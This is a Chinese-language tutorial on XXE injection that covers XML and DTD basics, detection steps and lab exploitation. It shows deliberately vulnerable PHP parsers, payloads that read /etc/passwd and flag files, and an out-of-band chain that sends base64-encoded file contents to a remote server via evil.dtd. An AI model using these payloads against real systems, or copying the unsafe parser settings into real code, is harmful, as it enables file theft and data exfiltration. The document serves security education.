xml的基础知识

在了解xxe漏洞之前,需要明白一定的基础知识,那就是xml。

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
DTD:

<?xml version="1.0"?> (这一行是XML文档定义)
<!DOCTYPE note [ (定义此文档是note类型的文档)
<!ELEMENT note (to ,from ,head ,body)> (定义note元素有四个元素)
<!ELEMENT to (#PCDATA)> (定义to元素为“#PCDATA”类型)
<!ELEMENT from (#PCDATA)> (定义from元素为“#PCDATA”类型)
<!ELEMENT head (#PCDATA)> (定义head元素为“#PCDATA”类型)
<!ELEMENT body (#PCDATA)> (定义body元素为“#PCDATA”类型)

这个DTD定义了XML的跟元素为note,然后根元素下面有一些子元素,那么XML到时候必须要像下面所示这么写


XML:
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

内部声明DTD:

1
<!DOCTYPE 根元素 [元素声明]>

引用外部DTD:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD文档中有很多重要的关键字如下:

DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)

实体

实体可以简单的理解为变量,它必须在文档类型定义(DTD)中定义声明,可以在文档中的其他位置引用该变量的值

实体可按类型主要分为以下四种:
内置实体 (Built-in entities)
字符实体 (Character entities)
通用实体 (General entities)
参数实体 (Parameter entities)

从另一个角度来看,实体还可分为一般实体与参数实体:

一般实体只能在文档类型定义(DTD)中声明,在xml文档中引用;一般实体的声明语法为: ,引用一般实体的方式为: &实体名

参数实体只能在文档类型定义(DTD)中引用和声明;参数实体的声明语法: <!ENTITY %实体名 “实体内容”,引用参数实体的方式为: %实体名

实体根据引用方式,还可分为内部实体与外部实体

内部实体:

1
<!ENTITY 实体名称 "实体的值">

外部实体:

1
<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

1
2
3
<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

一般实体 + 内部实体:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "nMask">]>
<foo>
<value>&name;</value>
</foo>

参数实体 + 外部实体:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>

其中%name(参数实体)是在DTD中被引用的,而&name(一般实体)是在xml文档中被引用的

而xxe漏洞主要就是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体

外部实体

若外部实体能在DTD中使用,那么URI中能写哪些类型的外部实体呢

主要的有file、http、https、ftp等等,不同的程序支持的协议当然不一样

其中php支持的协议会更多一些,但需要一定的扩展支持

xxe漏洞

XXE漏洞全称为XML External Entity Injection 即 xml 外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有上传文件进行过滤,导致可上传恶意xml文件。

xxe漏洞检测

第一步检测XML是否会被成功解析:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [
<!ENTITY name "my name is nMask">]>
<root>&name;</root>

如果页面输出了my name is nMask,说明xml文件可以被解析

第二部检测服务器是否支持DTD引用外部实体:

1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/index.html">
%name;
]>

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求

若支持引用外部实体,那么很有可能是存在xxe漏洞的

xxe漏洞利用

有回显任意文件读取

test.php:

1
2
3
4
5
6
7
8
<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom -> loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$data = simplexml_import_dom($dom);
echo $data;//去掉即为无回显
?>

payload:

1
2
3
4
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY goodies SYSTEM "file:///var/www/html/xxe/flag.txt"> ]>
<data>&goodies;</data>

但如果读取的文件中含有特殊符号(如 “ < > & “等),那么就会报错或如图

所以,我们可以将读取的文件定义为 “CDATA”,CDATA部分中的所有内容就会被解析器忽略,这样就可以读取文件了

将payload2.0修改为:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY start "<![CDATA[
<!ENTITY % goodies SYSTEM 'file:///var/www/html/xxe/flag.txt'>]]>
">]
% goodies;
>
<data>&start</data>

payload看起来好像没问题,但结果还是一样读取不出

xml 解析器有个限制就是不能在内部ENTITY中引用,“PEReferences forbidden in internal subset in Entity ”指的就是禁止内部参数实体引用。

那么我们就把内部换到外部来试试看

payload3.0:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE data [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///var/www/html/xxe/test.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://47.107.134.244:8080/xxe/evil.dtd">
%dtd; ]>
<data>&all;</data>

evil.dtd:

1
<!ENTITY all "%start;%goodies;%end;">

即可

无回显任意文件读取

既然没有回显数据,那我们就要想办法让服务器自己把数据往外带。

写两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带了

test2.php

1
2
3
4
5
6
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe/flag.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1/xxe/index.php?p=%file;'>">

send前面的 &#37 会在HTML实体转化成 %

payload:

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/evil.dtd">
%remote;%int;%send;
]>

在 payload 中可看到连续调用了三个参数实体 %remote;%int;%send;,这就是利用顺序,先调用%remote,调用后会请求远程服务器上的evil.dtd,类似与将evil.dtd包含进来,然后 %int 调用 evil.dtd 中的 %file,%file 就会去获取服务器上的指定文件,然后将 %file 的结果输入到 %send 中(因为实体的值中不能有 % ,所以将其转成html实体编码 % ),最后再调用 %send; 把我们读取到的数据发送到指定地址,利用log获取数据,从而实现外带数据的效果,解决XXE无回显的问题